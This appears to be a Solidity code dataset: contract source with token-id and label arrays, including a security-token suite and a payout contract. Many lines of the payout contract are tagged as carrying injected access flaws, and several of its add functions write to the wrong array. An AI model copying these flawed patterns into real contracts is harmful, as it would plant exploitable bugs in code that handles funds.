_isToOptedIn) { isOptedHetero = true; isOptedInIncrease = true; // increase opted in total supply } else if (_isFromOptedIn && !_isToOptedIn) { isOptedHetero = true; } } /** OVERRIDE * @notice creates a total supply snapshot & emits event * @param amount uint256 * @param account address */ function _createTotalSupplySnapshot(address account, uint256 amount) internal { if (isOptedIn(account)) { super._createTotalSupplySnapshot(account, amount); } } /** OVERRIDE * @notice only snapshot if opted in * @param account address * @param amount uint256 */ function _createAccountSnapshot(address account, uint256 amount) internal { if (isOptedIn(account)) { super._createAccountSnapshot(account, amount); } } } // File: contracts/STO/token/ERC20ForceTransfer.sol /** * @title ERC20 ForceTransfer * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; /** * @dev inherit contract, create external/public function that calls these internal functions * to activate the ability for one or both forceTransfer implementations */ contract ERC20ForceTransfer is Ownable, ERC20 { event ForcedTransfer(address indexed confiscatee, uint256 amount, address indexed receiver); /** * @notice takes all funds from confiscatee and sends them to receiver * @param confiscatee address who's funds are being confiscated * @param receiver address who's receiving the funds */ function forceTransfer(address confiscatee, address receiver) external onlyOwner { uint256 balance = balanceOf(confiscatee); _transfer(confiscatee, receiver, balance); emit ForcedTransfer(confiscatee, balance, receiver); } /** * @notice takes an amount of funds from confiscatee and sends them to receiver * @param confiscatee address who's funds are being confiscated * @param receiver address who's receiving the funds */ function forceTransfer(address confiscatee, address receiver, uint256 amount) external onlyOwner { _transfer(confiscatee, receiver, amount); emit ForcedTransfer(confiscatee, amount, receiver); } } // File: contracts/STO/BaseDocumentRegistry.sol /** * @title Base Document Registry Contract * @author Validity Labs AG <[email protected]> * inspired by Neufund's iAgreement smart contract */ pragma solidity ^0.5.7; // solhint-disable not-rely-on-time contract BaseDocumentRegistry is Ownable { using SafeMath for uint256; struct HashedDocument { uint256 timestamp; string documentUri; } HashedDocument[] private _documents; event AddedLogDocumented(string documentUri, uint256 documentIndex); /** * @notice adds a document's uri from IPFS to the array * @param documentUri string */ function addDocument(string calldata documentUri) external onlyOwner { require(bytes(documentUri).length > 0, "invalid documentUri"); HashedDocument memory document = HashedDocument({ timestamp: block.timestamp, documentUri: documentUri }); _documents.push(document); emit AddedLogDocumented(documentUri, _documents.length.sub(1)); } /** * @notice fetch the latest document on the array * @return uint256, string, uint256 */ function currentDocument() public view returns (uint256 timestamp, string memory documentUri, uint256 index) { require(_documents.length > 0, "no documents exist"); uint256 last = _documents.length.sub(1); HashedDocument storage document = _documents[last]; return (document.timestamp, document.documentUri, last); } /** * @notice adds a document's uri from IPFS to the array * @param documentIndex uint256 * @return uint256, string, uint256 */ function getDocument(uint256 documentIndex) public view returns (uint256 timestamp, string memory documentUri, uint256 index) { require(documentIndex < _documents.length, "invalid index"); HashedDocument storage document = _documents[documentIndex]; return (document.timestamp, document.documentUri, documentIndex); } /** * @notice return the total amount of documents in the array * @return uint256 */ function documentCount() public view returns (uint256) { return _documents.length; } } // File: contracts/examples/ExampleSecurityToken.sol /** * @title Example Security Token * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; contract ExampleSecurityToken is Utils, Reclaimable, ERC20Detailed, WhitelistedSnapshot, OptedInSnapshot, ERC20Mintable, ERC20Burnable, ERC20Pausable, ERC20ForceTransfer, BaseDocumentRegistry { bool private _isSetup; /** * @notice contructor for the token contract */ constructor(string memory name, string memory symbol, address initialAccount, uint256 initialBalance) public ERC20Detailed(name, symbol, 0) { // pause(); _mint(initialAccount, initialBalance); roleSetup(initialAccount); } /** * @notice setup roles and contract addresses for the new token * @param board Address of the owner who is also a manager */ function roleSetup(address board) internal onlyOwner onlyOnce(_isSetup) { addMinter(board); addPauser(board); _addWhitelistAdmin(board); } /** OVERRIDE - onlyOwner role (the board) can call * @notice Burn tokens of one account * @param account The address whose tokens will be burnt * @param value The amount of tokens to be burnt */ function _burn(address account, uint256 value) internal onlyOwner { super._burn(account, value); } } // File: contracts/STO/dividends/Dividends.sol /** * @title Dividend contract for STO * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; contract Dividends is Utils, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public _wallet; // set at deploy time struct Dividend { uint256 recordDate; // timestamp of the record date uint256 claimPeriod; // claim period, in seconds, of the claiming period address payoutToken; // payout token, which could be different each time. uint256 payoutAmount; // the total amount of tokens deposit uint256 claimedAmount; // the total amount of tokens being claimed uint256 totalSupply; // the total supply of sto token when deposit was made bool reclaimed; // If the unclaimed deposit was reclaimed by the team mapping(address => bool) claimed; // If investors have claimed their dividends. } address public _token; Dividend[] public dividends; // Record the balance of each ERC20 token deposited to this contract as dividends. mapping(address => uint256) public totalBalance; // EVENTS event DepositedDividend(uint256 indexed dividendIndex, address indexed payoutToken, uint256 payoutAmount, uint256 recordDate, uint256 claimPeriod); event ReclaimedDividend(uint256 indexed dividendIndex, address indexed claimer, uint256 claimedAmount); event RecycledDividend(uint256 indexed dividendIndex, uint256 timestamp, uint256 recycledAmount); /** * @notice Check if the index is valid */ modifier validDividendIndex(uint256 _dividendIndex) { require(_dividendIndex < dividends.length, "Such dividend does not exist"); _; } /** * @notice initialize the Dividend contract with the STO Token contract and the new owner * @param stoToken The token address, of which the holders could claim dividends. * @param wallet the address of the wallet to receive the reclaimed funds */ /* solhint-disable */ constructor(address stoToken, address wallet) public onlyValidAddress(stoToken) onlyValidAddress(wallet) { _token = stoToken; _wallet = wallet; transferOwnership(wallet); } /* solhint-enable */ /** * @notice deposit payoutDividend tokens (ERC20) into this contract * @param payoutToken ERC20 address of the token used for payout the current dividend * @param amount uint256 total amount of the ERC20 tokens deposited to payout to all * token holders as of previous block from when this function is included * @dev The owner should first call approve(STODividendsContractAddress, amount) * in the payoutToken contract */ function depositDividend(address payoutToken, uint256 recordDate, uint256 claimPeriod, uint256 amount) public onlyOwner onlyValidAddress(payoutToken) { require(amount > 0, "invalid deposit amount"); require(recordDate > 0, "invalid recordDate"); require(claimPeriod > 0, "invalid claimPeriod"); IERC20(payoutToken).safeTransferFrom(msg.sender, address(this), amount); // transfer ERC20 to this contract totalBalance[payoutToken] = totalBalance[payoutToken].add(amount); // update global balance of ERC20 token dividends.push( Dividend( recordDate, claimPeriod, payoutToken, amount, 0, ERC20Snapshot(_token).totalSupplyAt(block.timestamp), //eligible supply false ) ); emit DepositedDividend((dividends.length).sub(1), payoutToken, amount, block.timestamp, claimPeriod); } /** TODO: check for "recycle" or "recycled" - replace with reclaimed * @notice Token holder claim their dividends * @param dividendIndex The index of the deposit dividend to be claimed. */ function claimDividend(uint256 dividendIndex) public validDividendIndex(dividendIndex) { Dividend storage dividend = dividends[dividendIndex]; require(dividend.claimed[msg.sender] == false, "Dividend already claimed"); require(dividend.reclaimed == false, "Dividend already reclaimed"); require((dividend.recordDate).add(dividend.claimPeriod) >= block.timestamp, "No longer claimable"); _claimDividend(dividendIndex, msg.sender); } /** * @notice Claim dividends from a startingIndex to all possible dividends * @param startingIndex The index from which the loop of claiming dividend starts * @dev To claim all dividends from the beginning, set this value to 0. * This parameter may help reducing the risk of running out-of-gas due to many loops */ function claimAllDividends(uint256 startingIndex) public validDividendIndex(startingIndex) { for (uint256 i = startingIndex; i < dividends.length; i++) { Dividend storage dividend = dividends[i]; if (dividend.claimed[msg.sender] == false && (dividend.recordDate).add(dividend.claimPeriod) >= block.timestamp && dividend.reclaimed == false) { _claimDividend(i, msg.sender); } } } /** * @notice recycle the dividend. Transfer tokens back to the _wallet * @param dividendIndex the storage index of the dividend in the pushed array. */ function reclaimDividend(uint256 dividendIndex) public onlyOwner validDividendIndex(dividendIndex) { Dividend storage dividend = dividends[dividendIndex]; require(dividend.reclaimed == false, "Dividend already reclaimed"); require((dividend.recordDate).add(dividend.claimPeriod) < block.timestamp, "Still claimable"); dividend.reclaimed = true; uint256 recycledAmount = (dividend.payoutAmount).sub(dividend.claimedAmount); totalBalance[dividend.payoutToken] = totalBalance[dividend.payoutToken].sub(recycledAmount); IERC20(dividend.payoutToken).safeTransfer(_wallet, recycledAmount); emit RecycledDividend(dividendIndex, block.timestamp, recycledAmount); } /** * @notice get dividend info at index * @param dividendIndex the storage index of the dividend in the pushed array. * @return recordDate (uint256) of the dividend * @return claimPeriod (uint256) of the dividend * @return payoutToken (address) of the dividend * @return payoutAmount (uint256) of the dividend * @return claimedAmount (uint256) of the dividend * @return the total supply (uint256) of the dividend * @return Whether this dividend was reclaimed (bool) of the dividend */ function getDividend(uint256 dividendIndex) public view validDividendIndex(dividendIndex) returns (uint256, uint256, address, uint256, uint256, uint256, bool) { Dividend memory result = dividends[dividendIndex]; return ( result.recordDate, result.claimPeriod, address(result.payoutToken), result.payoutAmount, result.claimedAmount, result.totalSupply, result.reclaimed); } /** * @notice Internal function that claim the dividend * @param dividendIndex the index of the dividend to be claimed * @param account address of the account to receive dividend */ function _claimDividend(uint256 dividendIndex, address account) internal { Dividend storage dividend = dividends[dividendIndex]; uint256 claimAmount = _calcClaim(dividendIndex, account); dividend.claimed[account] = true; dividend.claimedAmount = (dividend.claimedAmount).add(claimAmount); totalBalance[dividend.payoutToken] = totalBalance[dividend.payoutToken].sub(claimAmount); IERC20(dividend.payoutToken).safeTransfer(account, claimAmount); emit ReclaimedDividend(dividendIndex, account, claimAmount); } /** * @notice calculate dividend claim amount */ function _calcClaim(uint256 dividendIndex, address account) internal view returns (uint256) { Dividend memory dividend = dividends[dividendIndex]; uint256 balance = ERC20Snapshot(_token).balanceOfAt(account, dividend.recordDate); return balance.mul(dividend.payoutAmount).div(dividend.totalSupply); } } // File: contracts/examples/ExampleTokenFactory.sol /** * @title Example Token Factory Contract * @author Validity Labs AG <[email protected]> */ pragma solidity 0.5.7; /* solhint-disable max-line-length */ /* solhint-disable separate-by-one-line-in-contract */ contract ExampleTokenFactory is Managed { mapping(address => address) public tokenToDividend; /*** EVENTS ***/ event DeployedToken(address indexed contractAddress, string name, string symbol, address indexed clientOwner); event DeployedDividend(address indexed contractAddress); /*** FUNCTIONS ***/ function newToken(string calldata _name, string calldata _symbol, address _clientOwner, uint256 _initialAmount) external onlyOwner { address tokenAddress = _deployToken(_name, _symbol, _clientOwner, _initialAmount); } function newTokenAndDividend(string calldata _name, string calldata _symbol, address _clientOwner, uint256 _initialAmount) external onlyOwner { address tokenAddress = _deployToken(_name, _symbol, _clientOwner, _initialAmount); address dividendAddress = _deployDividend(tokenAddress, _clientOwner); tokenToDividend[tokenAddress] = dividendAddress; } /** MANGER FUNCTIONS **/ /** * @notice Prospectus and Quarterly Reports * @dev string null check is done at the token level - see ERC20DocumentRegistry * @param _est address of the targeted EST * @param _documentUri string IPFS URI to the document */ function addDocument(address _est, string calldata _documentUri) external onlyValidAddress(_est) onlyManager { ExampleSecurityToken(_est).addDocument(_documentUri); } /** * @notice pause or unpause individual EST * @param _est address of the targeted EST */ function togglePauseEST(address _est) public onlyValidAddress(_est) onlyManager { ExampleSecurityToken est = ExampleSecurityToken(_est); bool result = est.paused(); result ? est.unpause() : est.pause(); } /** * @notice force the transfer of tokens from _confiscatee to _receiver * @param _est address of the targeted EST * @param _confiscatee address to confiscate tokens from * @param _receiver address to receive the balance of tokens * @param _amount uint256 amount to take away from _confiscatee */ function forceTransferEST(address _est, address _confiscatee, address _receiver, uint256 _amount) public onlyValidAddress(_est) onlyValidAddress(_confiscatee) onlyValidAddress(_receiver) onlyManager { require(_amount > 0, "invalid amount"); ExampleSecurityToken est = ExampleSecurityToken(_est); est.forceTransfer(_confiscatee, _receiver, _amount); } function _deployToken(string memory _name, string memory _symbol, address _clientOwner, uint256 _initialAmount) internal returns (address) { require(bytes(_name).length > 0, "name cannot be blank"); require(bytes(_symbol).length > 0, "symbol cannot be blank"); ExampleSecurityToken tokenContract = new ExampleSecurityToken(_name, _symbol, _clientOwner, _initialAmount); emit DeployedToken(address(tokenContract), _name, _symbol, _clientOwner); return address(tokenContract); } function _deployDividend(address tokenAddress, address wallet) internal returns (address) { Dividends dividendContract = new Dividends(tokenAddress, wallet); emit DeployedDividend(address(dividendContract)); return address(dividendContract); } }
transfer ERC20 to this contract
IERC20(payoutToken).safeTransferFrom(msg.sender, address(this), amount);
5,444,873
[ 1, 13866, 4232, 39, 3462, 358, 333, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 467, 654, 39, 3462, 12, 84, 2012, 1345, 2934, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 3844, 1769, 1377, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.2; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _owner = address(0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/brothers.sol pragma solidity ^0.5.0; //import "https://github.com/OpenZeppelin/zeppelin-solidity/contracts/math/SafeMath.sol"; //import "https://github.com/OpenZeppelin/zeppelin-solidity/contracts/ownership/Ownable.sol"; //import "github.com/OpenZeppelin/zeppelin-solidity/contracts/lifecycle/Pausable.sol"; contract brothers is Ownable { // using SafeMath for uint256; event EthIssued(uint256 value); event AddressAdded(address newbrother); event AddressRemoved(address oldbrother); address payable[] bizbrothers; address payable[] devbrothers; address payable[] tradebrothers; address payable[] socialbrothers; uint256 internal pool; uint256 internal serviceshare; uint256 public total_distributed; address payable service_costs = 0x5315845c377DC739Db349c24760955bf3aA88e2a; constructor() public Ownable() { emit EthIssued(0); bizbrothers.push(0x7A6C7Da79Ac78C9f473D8723E1e62030414B6909); bizbrothers.push(0x5736AF088b326DaFCbF8fCBe005241245E853a0F); bizbrothers.push(0x1f6bca1657e2B08A31A562B14c6A5c7e49661eb2); devbrothers.push(0x73D0e9F8dACa563A50fd70498Be9390088594E72); tradebrothers.push(0xC02bc79F386685CE4bAEc9243982BAf9163A06E7); tradebrothers.push(0x27b8e7fffC5d3DC967c96b2cA0E7EC028268A2b6); tradebrothers.push(0x4C1f6069D12d7110985b48f963084C3ccf48aB06); socialbrothers.push(0xe91717B09Cd9D0e8f548EC5cE2921da9C2367356); } function () external payable { } function distributepool() external payable { //if msg.value pool = address(this).balance; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if(msg.value > 0){ pool = pool + msg.value; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } serviceshare = pool / 100 * 10; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC service_costs.transfer(serviceshare); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC pool = pool - serviceshare; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC uint256 bizshare = pool / 8 * 3; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for(uint256 i = 0; i < bizbrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC bizbrothers[i].transfer(bizshare / bizbrothers.length); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } uint256 devshare = pool / 8 * 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for(uint256 i = 0; i < devbrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC devbrothers[i].transfer(devshare / devbrothers.length); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } uint256 tradeshare = pool / 8 * 3; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for(uint256 i = 0; i < tradebrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC tradebrothers[i].transfer(tradeshare / tradebrothers.length); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } uint256 socialshare = pool / 8 * 1; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for(uint256 i = 0; i < socialbrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC socialbrothers[i].transfer(socialshare / socialbrothers.length); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } function addbizbrother(address payable newbrother) external onlyOwner(){ bizbrothers.push(newbrother); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit AddressAdded(newbrother); } function adddevbrother(address payable newbrother) external onlyOwner(){ bizbrothers.push(newbrother); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit AddressAdded(newbrother); } function addtradebrother(address payable newbrother) external onlyOwner(){ bizbrothers.push(newbrother); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit AddressAdded(newbrother); } function addsocialbrother(address payable newbrother) external onlyOwner(){ bizbrothers.push(newbrother); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit AddressAdded(newbrother); } function removebrother(address payable oldbrother) external onlyOwner(){ for(uint256 i = 0; i < bizbrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if(bizbrothers[i] == oldbrother){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for (uint j = i; j < bizbrothers.length-1; j++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC bizbrothers[j] = bizbrothers[j+1]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } bizbrothers.length--; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } for(uint256 i = 0; i < devbrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if(devbrothers[i] == oldbrother){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for (uint j = i; j < devbrothers.length-1; j++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC devbrothers[j] = devbrothers[j+1]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } devbrothers.length--; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } for(uint256 i = 0; i < tradebrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if(tradebrothers[i] == oldbrother){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for (uint j = i; j < tradebrothers.length-1; j++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC tradebrothers[j] = tradebrothers[j+1]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } tradebrothers.length--; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } for(uint256 i = 0; i < socialbrothers.length; i++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC if(socialbrothers[i] == oldbrother){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC for (uint j = i; j < socialbrothers.length-1; j++){ //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC socialbrothers[j] = socialbrothers[j+1]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } socialbrothers.length--; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } } }
inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bizbrothers.push(newbrother);
5,464,845
[ 1, 22170, 18708, 14939, 8350, 13255, 40, 6953, 17187, 478, 21163, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 324, 452, 4637, 29540, 18, 6206, 12, 2704, 4637, 1136, 1769, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/80001/0x8E6a891B0800b8e84Da23F0d0F3c04F0594f20D5/sources/BondedERC20Helper.sol
multiply by e^2^(-3)
if ((x & 0x010000000000000000000000000000000) != 0) {
8,797,646
[ 1, 7027, 1283, 635, 425, 66, 22, 66, 19236, 23, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
